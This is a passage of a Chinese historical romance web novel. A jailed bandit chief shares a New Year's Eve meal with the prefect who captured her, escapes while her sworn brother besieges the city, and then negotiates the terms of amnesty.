她说得轻佻又坦荡,一字一句让谢珩那张俊美无双的容颜一点一点在牢中的微光下沉了下去,也好在这牢中光线昏暗,无人注意到他喉头上下微动了两下,终是什么也没说,头也不回消失在昏暗长道中。 等确定谢珩真的走了,方才还敛声屏气的犯人和狱卒们又都纷纷传来细细碎碎的议论声。 各个牢房颇有间隔,如果不是扯着嗓子说话,旁人其实听不清他们的对话。可是寂寂昏灯下,隔着铁栅门的两道身影,一个玉树仙姿,一个秀挺颀长,絮絮言语间,还真是不像刺史大人和主犯之间的气场。 加上沈青先入为主的一顿渲染,越看还越是那么回事了! 一个浓眉大眼的年轻书生模样的犯人大着胆子向沈青喊话。 “沈寨主,你以后可千万要多罩着兄弟们些啊!” 第36章 第36章我小妾身上不是这个味 “兄弟,你犯了什么事啊?” 沈青被这年轻书生吸引注意,实在好奇这一副文质彬彬的少年人能犯出什么滔天大罪,竟然关在她对面的重犯号牢房。 “在下沈哲,犯的是贪污之罪。” 沈青望着他那一身粗布衣裳,更加好奇:“你贪了多少银子啊?” “三年幕僚,无田无财。” 沈青知道,幕僚并不是正经官身,大多出身贫寒的读书人,因家世低微而不符合朝廷选官察举,无论学识多渊博,都无法被授予官身,只能成为一个寄人篱下的小幕僚。 一个小小幕僚,无田无财,却被判了贪污重罪,看来这是被真正贪污的人祸水东引,成了一桩窦娥冤。 她语气里不由得带上一点嘲讽:“没想到谢珩整顿渝州官场的雷霆手段,都是些冤假错案啊。” 沈哲却否认:“我这案子在谢公子来渝州前就结案了,只是被处置前,正好公子来了渝州,察觉出我这案情中的端倪,苦于没有证据,便僵持在此了。诶,渝州内里勾连,天下大势亦如此,即便这次谢公子还我清白,那下一次呢?下下次呢?” 沈青冷哼一声:“既然他保你一命,你刚才还喊我罩着你?” “在下眼前的困局,谢公子解不了,沈寨主却可以。” 沈青平生最爱听奉承话,尤其这人竟然夸她在谢珩之上,心中顿时飘飘然起来,面上还是矜持了一下:“那可不敢当,我现在可是谢珩的阶下囚。” “谢公子受朝廷律法所限,我的这个案子被做得天衣无缝,即便他知道我身受冤屈,找不出证据的情况下也无能为力。而沈寨主您不一样,只要您愿意救我,没什么可以限制您。” 沈青这下再也矜持不起来:“你这个小弟,我收定了!我到时候带你出去,跟我回莽山去做山匪。” 沈哲笃定:“您不会再回去做山匪了,招安是您最后的必然选择。” 沈青明显一怔,若无其事笑道:“我刚才可是跟谢珩说得清清楚楚,招安是绝无可能的。” 沈哲也没有反驳她,只是列出自己的理由:“沈寨主与谢公子都是心怀怜悯之人,仅凭这一点,你们殊途同归,做不了仇家,只能成为同路人。” “世人只传,悍匪沈青,凶残暴戾,无恶不作,你这样胡言乱语,在莽山是要被我拔掉舌头的。” “渝州官府与莽山对峙多年,我又在官府中做了三年幕僚,不过是知己知彼罢了。” 沈青这下对这白面书生彻底刮目相看起来,看来这些年,渝州官府里也不全是酒囊饭袋的废物。 “那不如你跟我打个赌吧,赌我会不会接受招安。你要是赌赢了,我捞你出来做官;你要是赌输了,就跟我回莽山去做土匪。怎么样?”胸有成竹的语气,浑然不觉自己现在是一个随时会被定罪处死的阶下囚。 沈哲笑笑:“一言为定!先谢过沈寨主救命之恩!” 感恩戴德的话由衷说出,亦全然忘 记眼前他所求之人,是被朝廷关押的重犯。 吃吃喝喝再唠唠嗑,一天便过去了,这日终于到了除夕。 今年除夕,因为是谢珩最后的剿匪期限,小金顶上下人人心中都悬了一把随时都会落下来的剑。 现在身处大牢之中,沈青心中反而轻松下来。 谢珩一直没再来过,倒还真给她找了一个换药的女郎中,不过已经是年逾七十的老妇人了,她凶一凶,逗一逗,也轻而易举糊弄了过去。 她环视一下牢中都是新置的器物和被褥,此时她卧着的这张矮榻,光是软垫就铺了两层,门边是狱卒生得烈烈的炭盆,牢中阴冷气息都被烘暖融了。 至少目前来看,谢珩的态度是优待俘虏。 这两日她独自躺在牢中,也捋清了不少思绪。 她不是不知道,这次朝廷动了真格,莽山一旦跟朝廷兵刃相接,战火不是一日能止的。以莽山万众与举国为敌,哪怕是用最乐观的态度去看,他们所向披靡,一路攻城略地,也把天下都卷入战火之中。 无论是对天下百姓,还是对莽山上依附自己的兄弟,可能都是灭顶之灾,不到万不得已,那是她绝对不能迈的一步。 尽管她万般不愿承认,其实除了招安她已别无选择,但由于她心中对朝廷的芥蒂,她也始终没法下这个决心。 是谢珩帮她痛下了这个决定。 在被掳上小金顶的日日夜夜,谢珩有无数机会直接杀了她;在莽山与徐唐孟渊决斗之后,她身受重伤之际,他也大可以趁机出兵将莽山势力尽数剿灭;甚至在前天夜里小金顶的突袭,他未动小金顶上一兵一卒,只擒了她一人。 如果这是谢珩招安的诚意,那这份诚意确实很足,从现在到未来,他在最大程度上保全莽山的兄弟们。 她承认他的诚意,但绝不代表能接受那些朝夕相处间假意温柔的欺骗,现在她一想到谢珩那张绝世容色,就立马想到色令智昏被人耍得团团转的自己是多么愚蠢! “沈寨主!” 门外传来狱卒一声呼喊,打破了她的思绪,她从榻上翻身坐起,刚进来换值的狱卒径直大步走了过来:“沈寨主,你不必考虑招安了,你弟弟萧瑞正在起兵攻打清乐城!这简直就是势如破竹啊,不到一天,就要攻到城墙脚下了!” “啊!?”沈青赶紧走到铁栅门边:“这小子居然这么出息?” “千真万确的!”狱卒说着从铁栅门外塞进一对挂在一起的酒坛:“今儿是除夕,一对小小花雕不成敬意,你喝着就当解闷。不过我求你个事啊,要是……要是你那义弟真把城门破了,看在我们哥几个在牢里对你的照顾,能不能放我们条活路啊?” 沈青理所当然收了花雕,大手一挥:“放心啊,诸位都是兄弟,我都会罩着你们的!” 随后她扬起脸冲对面牢房的沈哲喊话:“你赌输了!” 沈哲只是笑笑:“沈寨主,这赌局还没结束呢。” 沈青秀眉微挑,正斟酌要怎么回应,门外的狱卒突然鬼鬼祟祟窸窣跑开,站回他守职的位置不动如山,一派威严。 她抬眸看清晦暗之中步步向她走来的人影,还有些远,看不清神色,但那身衣裳真是纤尘不染净如清莲。 虽然她栽在他那副仙姿玉容下,但是他本也不属于这里,现在被她拖了下来,这么一想,沈青心里就痛快一些。 他身后没有鸣山,竟然是一个人过来的。 谢珩这时候过来,必定是为萧瑞起兵一事而来。待他完全走近面前,沈青撇开眼,冷冷“哼”了一声,明知故问:“大过年的,什么风把刺史大人给吹到这阴森森的牢房里来了?” 谢珩没有回应她,示意狱卒打开牢门,弯身跨步走了进来。 沈青这次没有闹着阻拦,只是冷眼退开两步,她也想看看这种形势下,他还能开出什么条件。 谢珩无声地望了一眼她后退两步的动作,然后便就着牢中软垫席地坐下,将手中敦实的紫檀食盒置于面前的矮几之上。 铁栅门重新被狱卒从外面关上,里里外外一点窸窣碎语都不再有。 沈青伸长脖子,看到他从紫檀食盒里有条不紊地取出一道道菜肴,三荤一素,还有一道点心,有金黄流油的肉食,有丰盛繁复的海味,有鲜香扑鼻的河鲜,以及精雕细琢栩栩动人的精美点心。 这精致程度不知比清乐酒家又胜了多少档次,总之她一个名字也叫不出。 四张莹白的细瓷玉盘盛着佳肴略拥挤地被摆放在那张灰扑扑的矮几上,只有旁边通体珊瑚色的玛瑙酒壶她认得,那里头装的酒名唤美人留。 这富贵气象,多少让人有些不习惯,她咂咂嘴,在谢珩抬眸看向她的瞬间忙撇开脸。 哼,一顿饭就指望收买她?天大的笑话。 谢珩微叹了口气:“年夜饭。” 沈青顿时大为惊悚,猛然意识到,萧瑞兵临城下,这是一件让谢珩大失脸面和自尊的事情,谢珩这么骄傲的人就不能容忍,直接送她一顿断头饭? “不吃,君子不食嗟来之食!”她梗着脖子咽下口水。 谢珩看出她眼中的戒备,没有说什么,抬手往两人杯中各自斟满一杯瑰丽诱人的美人留,再取了玉箸,在这昏暗阴湿的牢房中矜雅进食。 ……看起来不像是下了毒的样子。 沈青虽然看到谢珩就烦,但跟这些美味没仇,大过年的,何必饿着自己,不吃白不吃! 她麻溜地在谢珩对面的软垫上坐下,拿起玉箸,也不看对面的人,只盯着他的玉箸看,看他夹了那道佳肴,她也跟着夹,直到案几上所有佳肴都夹遍,她才放心敞开了肚皮吃。 真是人间至味,少吃一口必定会饿死! 谢珩不知何时放了玉箸,端坐一方,沉默地注视着眼前正吃得大快朵颐的人。 往年的除夕,他不是在谢府高朋满座中,就是在宫宴的觥筹交错里。 今夜竟然是在这一方囚室中,一张陈旧矮几,和一个毫无吃相可言的囚徒相对而坐。 也不知将来是否还有这样的机会,用餐的时候,可以只心无旁骛看着桌前的人大快朵颐? 眼下局面并不乐观,他第一次陷入了无尽的迷茫中。 他致力于将渝州匪患招揽于麾下,徐徐引导,必成重兴朝政的栋梁之材。 不过现在萧瑞起兵了,渝州的匪患……只怕要变成渝州的叛乱。 如果局面再这样失控下去,他很难再去保全每个人的周全。 看着眼前这人一张脸还埋在盘子里毫无顾虑烦恼的模样,他微不可察叹了口气,端起酒杯自顾自轻酌一口。 沈青那张白皙俊脸从盘子里抬起来,看到手边玛瑙杯里艳如胭脂的美人留,舌尖已经淌过记忆里销魂欲仙的滋味。 上次差不多喝了三杯才倒,今天过年,喝一杯肯定没问题。 矮几上的四张玉盘都已见底,正好渴了,于是她端起酒杯咕咚咕咚先把渴给解了,喝得个干净。 等酒杯放下,那张素白小脸在昏灯影影绰绰地照映下,可见地浮上一层绯红。 “不对啊,怎么比上次喝得人头晕?” 谢珩淡然得理所当然:“因为我让酿酒师将这酒变烈了。” 他今晚不是为了萧瑞起兵一事而来,他只是想两人能一起坐下来吃顿年夜饭而已。 至于这酒……临时起意罢了。 沈青晃了晃头,目光望向眼前正跟自己说话的人,憧憧目光蒙上一层迷离水雾,看人如雾里看花。 她脑袋越来越歪,打量的眼神却越发纯粹而专注。 她迷离这眼打量眼前这道清雅的身影,很养眼,也很熟悉,就是脑子里想半天也想不出名儿。 “你……”她抬手朝谢珩指了半天,谢珩也就坐直了身子任她指着,目光回望着她,既不动,也不出声回应她。 自从俘了她,两人只在最开始的时候互呛过几句,大部分时候两人是可以平和相对的。 可是她的眼神再也没有正眼落在他身上过。 除了现在。 以他对沈青的了解,按理,她应该指着自己鼻子破口大骂,还要扬言宰了他全家,然后在牢中做出一系列过激举动。 但是完全没有,她甚至还能笑眯眯称呼一声“刺史 大人“。 这反倒让他有些无从应对。 “你你你……”沈青锤着脑袋想来想去,终于眼前一亮:“这不是我纳的那个小妾吗?真好看,我品味真好!你怎么跑到这里来了?” 认出眼前人的身份,她晃头晃脑站了起来,扑到人身上想凑过去一亲芳泽。 在她扑过来的瞬间,谢珩下意识想去挡,脑海里闪过一个念头,终究没有抬手去挡。 她喝醉的时候,还愿意接近他。 此时沈青醉得软烂如泥,一双手臂牢牢箍住他的脖颈,整个人身子的重量都倾在他肩背上。 她的鼻尖,也时有时无,在他颊边颈侧凑来凑去。 他顿时绷直了身子,手臂上青筋隐隐现出。 沈青自然是浑然不觉,正专心致志趴在他身上仔仔细细吸着鼻子嗅来嗅去,是很好闻的,淡雅梨香。 “不对呀,”她停下来嘟囔:“我小妾身上不是这个味。” 得出结论,她麻溜从他身上爬下来,谢珩如释重负般松开了袖中半握着的拳:“你小妾身上是什么味?” 沈青歪头想了会,认真道:“跟我一样,身上都是小金顶上皂荚的味道。” 谢珩恍然,回了刺史府,他的衣裳都是府上的小厮洗净后再熏香,自然不会再有小金顶上的皂荚味了。 沈青显然有点儿失望,双手搭在谢珩肩上,一张脸完完全全凑上他的脸,左看右看,看得他略不自在别开了头。 那只被他狠狠抛下深渊的鬼魅悄悄爬上来。 他无声地蹙了蹙眉头,身上的人又贴得紧了些:“虽然你不是我的小妾,可我实在看你很熟悉,总觉得……一看到你,我就特别想,特别想……” 这认真的神情和语调,不像是油嘴滑舌要说荤话的意思。 酒后吐真言,他今日想要的答案呼之欲出。 谢珩将人从自己身上扒拉开,反手钳住她的肩膀不让她再乱扑腾,压低了声音:“特别想怎么样,好好想想?” 沈青本来脑子里是一片空白的,但是耳畔一道清醇的声音低低掠过,像一只细细长长的钩子,一下就把她埋在心里头的想法钩了上来。 “特别想打你一顿!” 她咬牙切齿说得特别响亮,还特地补充了一下:“我也不知道为什么,可喜欢看你这张脸了,可是看到就忍不住想打你一顿。” 这说得字字切齿,如果不是现在肩膀手臂被人控制了,真应该上去就是一拳。 谢珩一张微沉的俊脸反而缓和下来。 只是……想打他一顿而已吗? 空中轰然一声巨响,两人都下意识抬头,望得见牢房墙顶的狭小窗户外,是漆黑夜空,还有挤满窗口的粲然烟花。 谢珩有瞬间的失神,过了子夜,此时此刻,他们从旧年,完完全全走向了新的岁首。 窗外烟花不绝,他忽然想起沈青跟他说起过的小金顶的除夕,是可以看见莽山各个山头,夜空里烟花竞放。 可惜今夜的烟花,只存在于这一方窄窗。 他下意识就地低头去看她,见她也仰头望着那一方窄窗,窄窗外的烟花在她眸中俶尔绽放,又寂寂堙灭,她墨黑的眸子这会儿看上去格外清亮,一点也不像是酒醉之人。 连声音,听上去都清醒了不少。 “这是我这十一年来,第一次没有在小金顶上过除夕夜。” 憧怔间,谢珩敏锐捕捉到一丝端倪:“那你十一年前的除夕,都是在哪里过的?” 沈青仰头看他,眸中清明不见,又是一副迷离醉态:“那就不能告诉你了!” 还想趁她酒醉再多问一句,人已经直直栽倒进他怀里,红彤彤的一张脸,睡得不省人事。 窗外的烟花还在粲然绽放,此起彼伏。 第37章 第37章你认不认输? 新岁第一天,沈青在牢中睡得四仰八叉,迷迷糊糊中被外面的轰轰响动扰得不耐烦地翻了个身,捂着耳朵继续呼呼大睡。 “沈寨主,沈寨主……” 总是有个声音在耳边不厌其烦地叫扰,好一会儿,她才隐约意识到,自己现在不在小金顶,而是在渝州官府的大牢里! 她只好慢悠悠撑开沉重的眼皮。 说起来,往年的除夕夜,她总也是喝得不省人事,第二天总要睡到晌午,现在她睁眼看了半天,阴暗牢房里只有一扇窄窗照进来的昏昏日光,根本看不出时辰。 唯有狱卒一张大脸贴在栅栏上,让她生出几分恍然,昨晚她闭眼前最后看到的明明是一张玉容映人的绝色面容来着。 真不知道那谢珩发什么疯,大晚上找她来喝了一顿酒,居然又什么也没说。 她打着哈欠坐起来:“你喊我起来,总不会是给我拜年的吧?” 那狱卒咧嘴一笑:“自然是来给沈寨主拜年的,我带了个大消息给你来拜年!” 沈青兴致并没有很高:“什么大消息?” “萧瑞……就是你那个义弟,这会儿在攻打城门了!” “什么!?”沈青跳了起来,竖着耳朵听半天,原来外面那断断续续的轰轰声,是攻打城门的声音! “我得赶紧去看看,这小子能耐成这样了!?” 她急急忙忙将乱糟糟的头发抓了两下束紧了发带,抬手不知从哪里摸出一把泛着铜绿色光泽的钥匙,吧嗒一声,门锁开了。 几个狱卒大惊失色:“沈寨主……你这……” 其中一个在自己身上摸了半天:“我的钥匙怎么到沈寨主手上去了?” 沈青仿佛要出门逛街般大咧咧跨出牢门,抬手将钥匙扔给他:“我要这点本事都没有,这么多年岂不是白混了?” 说着,她先走到沈哲牢房的铁栅门口,扬声问里面的人:“城门都要破了,咱们这赌局,你还不认输吗?” 沈哲一本正经;“城门会不会破,我会输还是会赢,全在沈寨主一念之间。我还是赌,这局沈寨主会让我赢。” 沈青没再继续赌局的事:“那你现在跟不跟我当逃犯?” “当。” 沈青满意一笑,不知道又从哪里摸出一把钥匙,跟开自己家门一样,熟稔利落开了锁,把在牢中待太久走路都有些跌跌歪歪的沈哲也一把拉了出来。 几个狱卒面面相觑,拦也不是,不拦也不是,互相推搡中,那道颀长青影已经带着小跟班扬长而去,消失在阴暗长廊的尽头。 出了牢门,阳光刺目,沈青不得不抬手挡了好一会儿才让视线渐渐适应过来,今年的冬日,难得见这样晴朗的天气。 城门方向激烈酣战的轰鸣不绝于耳,城门离此处大概一街之隔,每一次冲击袭来,都能感受到脚下地砖也跟着颤动几颤。 即便只是听着声音,也能感受到外面的排山倒海之势。 饶是这样,衙署内依然还保持着有条不紊的状态,所有人都在各司其职,以至于沈青领着沈哲贸贸然走出大牢,顿时迎来门外守卫的注意。 “什么人?站住!” 沈青一把抓着沈哲在衙署里四下逃窜起来。 沈哲很是怀疑人生,他以为沈青这样大摇大摆走出来是有什么后招来着:“沈寨主,你……你不会什么打算也没有吧?” “你现在是我的人了,别总沈寨主沈寨主地叫,以后叫老大!”沈青一面拖着气喘吁吁的沈哲逃窜,一面四下张望:“这外面打得如此热火朝天的,谢珩应该在哪呢?” “那肯定得是在最高的地方督战吧……” “最高的地方?” 沈青眯眼一下就看到了刺史府高高矗立的主楼,檐尾张扬,气势分明。 “就是那儿!”她一把拽过沈哲衣襟,借着楼柱檐角,飞檐走壁,翩然而上。 沈哲还来不及呼声,就被拽着一顿左摇右晃眼花缭乱,好不容易终于停下,衣襟上一松,他就迫不及待倒在栏杆上好一顿干呕起来。 还没来得及完全纾解,他余光里忽然瞥见几把锃亮的刀尖正齐刷刷对上来,他这才看清栏杆下面的花草楼阁都变得矮小,原来他双脚已经站在刚刚指着的高楼之上了。 搞清局面,他赶紧缩到沈青身后。 侍卫们围着他们步步逼近,为首的是鸣山,沈青上前身子几乎抵上刀尖:“小二哥,我有事找你家刺史大人聊聊。” 鸣山对她也没有好脸色,连手中兵刃都往前进了半寸:“沈青,你好大的胆子,竟然敢逃狱?” 沈青白眼:“什么逃狱,我是大大方方走出来的。怪不得你这人混了这么久,还只能混成个店小二,店小二也比你会看眼色得多。外面打成这样,你家公子心里不知道有多巴不得想见我,你还把我拦在外面,怎么,是想等城门破了再跟我谈?那我可不想谈了。” 躲在她身后的沈哲却很会看眼色,也不管这刀尖多锋利多骇人,趁着鸣山犹疑瞬间,他赶紧带上和煦笑颜上前商洽:“我们老大是诚心来跟刺史大人谈话的,要不是看城门快被攻破,也不必不及通传火急火燎过来,这城门每被攻克一分,刺史大人手上的筹码就都不一样……” 他一边说着,一边不动声色将鸣山手中的兵刃退了半寸,见他如此上道,沈青心满意足翻身越过众人,直接把这堆纠缠不休的烂摊子丢给沈哲。 谢珩果然站在高楼一端,清风吹衣翩跹,栏外城楼,栏里玉人。 沈青全然忘记自己昨晚酒后是怎么对人上下其手的,如今带着毫无温度的笑意:“刺史大人,别来无恙。” 谢珩抬眸不深不浅望了她一眼,全然没有对她逃狱跑出来的讶异,她要真老老实实待在狱中不弄出一点儿动静,才是叫人警惕。 只是她翻身上楼费了不少体力,病容还虚白着,习习风中,碎发细细张扬。 沈青凑了过来,顺着他的目光,可以看到正在酣战的城门战况,别说,站得高,看得可真一目了然。 双方兵力现在都集中在城门处,莽山的兄弟们急攻猛进,斗志昂扬;官府这边呢,顽强抵抗,守城不出。 一座城门,已经是清乐城最后的屏障,要攻到城门来,说明萧瑞在两天之内已经突破了前面层层防护和关卡。 这可真是让她好奇:“不是,萧瑞什么时候变得这么厉害了?这些日子你都教了些啥?” 按理来说,莽山和渝州官府兵力应该相差无几,如今就算萧瑞主动出击,谢珩也不至于被动至此啊。 谢珩目光注视着战局,嘴上缓缓答她:“不是他变得多厉害,是他起兵不到两日,响应云集,不仅渝州各地流民盗匪纷纷加入,连旁的州府也不断有人马星夜驰援。而前方守卫的官军多贪生软弱之辈,两军交接便丢盔弃甲。一时之间,萧瑞的队伍一呼百应,势如破竹。” 沈青恍然,目光也始终落在城门一方,随口问了一句:“照现在这局势,你这小小城门,必破无疑。城门破了,你怎么打算的?” 谢珩薄唇微抿了一下,才道:“那就弃城退守,退至渝州边界的祁阳城,背靠祁山山脉,是一道天然倚靠屏障,左右两边分别是梅州和端州,都是兵肥马壮之地,多谢氏子弟在职,我可在祁阳城与另外两州形成三角之势。” 清乐城并非驻军重镇,弃城退守也不可惜,后撤能借助天然屏障再联合两州兵力,必定坚如磐石,很难在短时间内攻破。 沈青很诧异:“弃城退守几个字竟然是从你口中说出来的?我还以为你们这些自诩清正君子的人,一般都会坚守城池,最后以身殉城呢。” 谢珩不由得侧目看她:“原来在你心目中我这般迂腐?” 沈青非常笃定点头:“是的。不然说你软弱善变苟且偷生,你又不高兴。” 谢珩脸色微沉:“我敢弃城,是信莽山众匪在你的引导下,即便攻下城来,也会对城中百姓秋毫不犯。” 一顶高帽子忽然这么往她脑袋上扣,沈青转了转眼珠,露出一点儿得意,马上又听他在说:“只不过这次萧瑞突然起事,开始的爆发力的确很强,可是一鼓作气再而衰,等我们退守,渝州和其他二州联合,加上后方朝廷兵马调度,他再想用速战速决的法子来强攻,恐怕很难再往前攻克下去。日积月久的拉锯下,必定还会有各方势力趁乱起事,到时候天下都会陷入一片兵荒马乱之中。” “百姓家破人亡、流离失所,就是你所想看到的画面吗?” 最后一句话,明明是清雅好听的声音,因着语气的加重,生生被镀上一层寒霜。 沈青抬眸,同样对上一双清寒的眸子。 她面色微凛,明明朝夕相处的是同一张脸,可是谢珩却不是谢十三。 谢十三也有愤怒反抗的时候,也会义愤填膺跟她争辩家国大义,但他总是无奈中带着乖觉。 可是此时眼前这个人,一身锐意,给人一种绝对的压迫。 她心口蓦然一沉:“怎么?你的意思是怪我吗?就算这世上没有我,那也还有其他人会起事啊,没有沈青也有张青,没有萧瑞也有陈瑞,这个世道,这是迟早的事,你少给我扣锅!” “但是此时此刻,是你,是萧瑞,在造成这样的局面。” 沈青看着眼前这张俊脸上染上一层愠怒,突然将话头转开。 “我想问你一个问题。” 谢珩怔了一下,原以为她又准备了些什么歪理邪说,却只是要提问,只好将一肚子已经挂在嘴边的话又咽了回去:“你问。” “我实在百思不得其解,那晚你的人到底是怎么上的小金顶?从天上掉下来的?” 谢珩被手下算计在莽山遇险,阴差阳错被萧瑞他们打晕了扛回小金顶,而后便将计就计在她身边虚与委蛇。 接着又趁机接她之力铲除了刘桧杜峤这些刺史府的政敌,又用她之手合并了徐唐和孟渊的两座匪寨。 最后给她来了个瓮中捉鳖。 这几天,过去的点滴画面在沈青脑海里串成一条线,谢珩如何步步为营的算计,她终于捋清。 唯独不懂那晚小金顶上的官兵从何而来。 这样的关头,没想到沈青刨根问底是问这个,他也没什么好隐瞒的:“你受伤昏迷,萧瑞忙着整合三方势力,莽山之大,要混一批人隐藏进来并不难。我的人进了莽山后,就沿着小金顶的瀑布,修了一条简单的索栈,进攻那日,官兵沿着索道爬上来就是。” 他顺便解答了沈青的另一个疑惑:“平日里向刺史府传递指令,我也是通过小金顶的瀑布,将信件装进竹筒,顺水而下。” 沈青有一瞬的沉默。 谢珩费尽心思想了这样的法子,让官兵犹如神兵天降般占了小金顶,却没有动小金顶的任何一个兄弟,只单单活捉了她。 擒贼先擒王这招,明明在覆船山她受伤落水的时候,那才是可以直接将她带走的绝好时机,可他竟然没有这样做。 可最后他还是用了这招,只不过推迟了些时日,宁可用更周折费力的法子。 为什么呢? 因为觉得她当时活不成了,所以才让她回了小金顶,直到她伤快好全,才愿意动手吗? 这个大胆的想法让沈青心脏“咚咚”猛跳了几下,她马上转正自己的念头,她会重伤,还不是因为谢珩设计逼她去攻打徐唐和孟渊?还不是因为他驭下不力,手下的人擅自行动导致的? 这么一想,她冷哼一声:“刺史大人果然是智计无双,把我和莽山的兄弟们玩弄于股掌这么久,可惜聪明反被聪明误啊,你看你这一抓我,连城门都快要被攻破了。” 其实别说谢珩,萧瑞这一呼百应势 如破竹之势,也完全超乎了沈青的意料。 “是。”对于眼前的失利,谢珩也并不否认。 沈青望着城门的方向,唇畔勾出一个意味不明的笑容:“眼前这局面,你觉得像不像你们圣贤书里说的一句话?” “愿闻其详。” “得道多助,失道寡助。” 谢珩不再像平时那般反驳她,他沉默地注视着城门处,目光中有说不出的悲悯。 沈青眉头一挑,第一次觉得这么不可一世的一个人,这会儿竟然有点儿颓靡可怜。 这几个月来被他欺骗摆弄的恶气狠狠出了一口,别提有多痛快了。 她粲然一笑:“你怎么都赢不了我的!” 谢珩似是默认,两人并肩站在高楼上,默契等待着城门什么时候被攻破,高楼上依旧有凛风阵阵,吹得青白两道衣摆在他们身后互相翩跹交织。 许久,眼看城门再也难以支撑,谢珩当机立断准备弃城撤离,他侧身望向沈青:“我要下令弃城退守了。” 沈青指了指自己:“怎么?你弃城还要带我走吗?” “自然。” 沈青知道自己虽然跑得出大牢,但确实还没本事直接从谢珩手里跑出这刺史府,她还是不甘心挠挠头:“你这招挟天子以令诸侯没有用,你看萧瑞该怎么样还是怎么样。” “至少你目前依然是牵制莽山的最大筹码。” 谢珩没时间再与她多言,转身正要离去,被沈青一把抓住了他的宽大衣袖。 “你来渝州剿匪,与我对峙数月,眼下我就问一句,你认不认输?” 谢珩垂眸望着自己被她紧紧捏着的那一角衣袖,终于启唇道:“目前而言,是你胜我一局。” 沈青眼角眉梢都扬起笑意,还有几分憔悴的病容都明亮起来,这谢珩虽然有各种令人讨厌的品性,但总归坦荡,输就是输,赢就是赢。 “既然我赢了,这一局该我来选。” “什么?”谢珩不明所以。 沈青重重呼出一口气:“我决定接受招安。” 谢珩疑心自己是不是听错,目光反复在她那张毫无所谓的脸上反复逡巡:“你……说什么?” “我去让兄弟们别打了,莽山从此归顺朝廷。” 明明是一个祈盼已久的结果,它来得太突然,谢珩只觉忐忑,下意识怀疑:“为什么?” “因为……” 沈青压低了声音,簌簌风中,只有她自己听得见:“萧瑞绝不能背负上一个反贼的名声。” 她接受招安考量了很多原因,这是很重要的一个。 也许从谢珩来渝州的第一天起,就注定了他们终究要再回到洛京。 第38章 第38章吹散一场大梦 城门激烈的兵刃声渐渐偃旗息鼓。 说起来,渝州刺史府的正堂,沈青这些年不知道来来回回潜进过多少次,她轻车熟路找了张椅子敞开怀坐下,见谢珩也没往主位上坐,而是坐在她对面一张座椅上,轻举了茶盏在唇边细品几口。 真是一派翩翩举止。 对面的人似乎感受到她目光,一双清眸缓缓抬起,沈青下意识连忙扭头撇开目光,忽然又想起眼下是个什么情况,重新大咧咧坐直了身子,用一副看手下败将的眼神看了回去。 门外响起了急促脚步。 “大哥!” 萧瑞身披软甲尤带杀意冲进来,先见端坐椅子上的沈青安然无恙地自在喝茶,才恶狠狠盯了一眼谢珩:“大哥,是不是他逼你招安的?不用管那么多,弟兄们都在城外,只要再多给我们一刻,城门必定攻破!” 他满脸愤然,怎么也想不到那个被他抢回来,明明实在手无缚鸡之力的俊美男子,竟然就是渝州刺史谢珩!亏他还尊他为先生,简直就是被人玩得团团转! 奇耻大辱! “不用,”沈青从容放下手中茶盏:“招安这事,是我决定的。” 萧瑞十分不解:“可是咱们这么多年经营,怎么突然说招安就招安了?朝廷都是些狗官,我们凭什么要依附他们?” 沈青瞥了一眼见谢珩倒是神色平静如常,又重新看向眼前的少年,因为焦急,一张俊脸憋得通红,眉眼间的稚气越来越淡,不知什么时候起,已经脱胎成一个男子汉了。 “你啊,跟我去洛京吧。” 你有另一条路要走。 萧瑞虽然不理解,但向来都是大哥说什么就是什么:“好,大哥去哪我就去哪。” 见他痛快答应,沈青放心下来,又装模作样呷了口茶,继续跟谢珩进行先前的谈话:“让我带上家小前去洛京受封做官,我家中只有一位夫人和一个弟弟,这很简单。但是我还想多带两个人,左思禄和沈哲,也要跟我走。” 这两人谢珩并不陌生,他想了一下似乎没太多厉害关系,便点头:“可以依你。” “还有,莽山数千兄弟中,还有一些是女子之身。兄弟们都被编入军中,那些跟着我的女子们该怎么办?” 谢珩倒是没想到这时候他还记挂着山上的女匪们,这的确是他之前没有考虑进去的,于是略微斟酌一下,才道:“军中没有女子从军的先例,也不符合朝廷法度,我只能承诺,替她们找到好的人家出嫁,让她们重新去过安生日子。” 沈青不满地撇了撇嘴:“同样是跟着我在莽山混的,怎么男子可以摇身一变成官军,女子就只有嫁人这条路?” 何止如此,世道让女子重名节,她遇到过太多明明已经无路可去的女子,却宁可死了也绝不会来莽山。 绝境中最后能下决心选择来莽山的那些女子,本身就比寻常男子还要更加果敢,坚毅。 若她们只有嫁人这条路可选,未免太可惜。 谢珩竟一时无法反驳:“那你想怎么样?” 沈青知道按当今律例,的确没有办法给莽山那些女子争取同男子一样的待遇,连谢珩也无法破例。 她也没有过于勉强:“愿意嫁人的,官府必须出面考察做主,不能让她们所托非人;不愿意嫁人的,那你们得想办法给她们安排独立的女户,好让她们自己也能安身立命。况且莽山的女子不多,要是非要跟我去洛京的,那我也要带上。” “可以。”谢珩念及平日沈青与手下那些女匪并无苟合关系,非要带上,只是些女流之辈,倒也无关痛痒。 见他这么痛快,沈青勾了勾唇:“既然你这么配合,那我还有最后一个要求。萧瑞率众攻城,这事的说法必须是,我气不过你用美人计欺骗我的感情,莽山兄弟看不过去给我讨个说法。” “你……” 谢珩转念之间就明白她的用意,率众攻城,到底是起兵造反,还是因情伤而泄愤,两者决然不同。 他的回答也很干脆:“不行。” 意料之中。 沈青挑了挑眉:“刺史大人,你这就没意思了。你委身在小金顶当了这么久的小妾,你觉得这事洛京的人会不知道?” 其实不管谢珩在小金顶到底是什么情况,但是在旁人眼中,就一定是她说的这般。毕竟人总是只相信自己愿意相信的东西,这般猎奇的艳闻,谁舍得不信? 假的也非得传得无比真实。 显然这个道理谢珩也是明白的,他微抿着薄唇,始终还是一言不发。 沈青在他脸上看到了久违的无奈又为难的模样,心里可痛快了:“刺史大人,您平日里不是自诩心怀天下,最挂念百姓疾苦了吗?既然不想让渝州百姓卷入战火之中,却又一点虚名都舍不得,可见你那些什么修齐治平都是些套话空话罢了。” 谢珩见他眼中笑意粲然,忽觉一点虚名,并非不能舍。 “面圣的时候,我可以这么去说,”他总算松口,语气还算平静:“还有别的要求吗?” 沈青拍拍衣摆,站起身来:“既然刺史大人这么痛快,那我也痛快,明日便可启程去洛京了。” 轰轰烈烈燃起 来的战火,不过几日又恢复宁静,清乐城里依旧还有着新年喜庆祥和的气氛。 渝州驻地军营里,一夜之间多了上万人马,赖三作为领头,暂时留在军中。 